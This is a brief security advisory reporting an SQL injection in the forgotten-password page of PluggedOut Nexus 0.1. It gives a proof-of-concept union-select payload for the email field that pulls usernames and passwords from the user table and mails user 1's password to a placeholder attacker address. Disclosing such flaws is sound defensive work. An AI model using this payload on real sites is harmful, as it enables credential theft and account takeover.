source: http://www.securityfocus.com/bid/16915/info

PluggedOut Nexus is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Nexus 0.1 is reportedly affected by this issue.

The following proof of concept exploit is available:
Insert this code in E-Mail Address form (http://www.example.com/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'ATTACKER@EMAIL.ADDRESS' from
nexus_users WHERE nUserId=1 and '1'='1

This will email the password for userID=1 to ATTACKER@EMAIL.ADDRESS.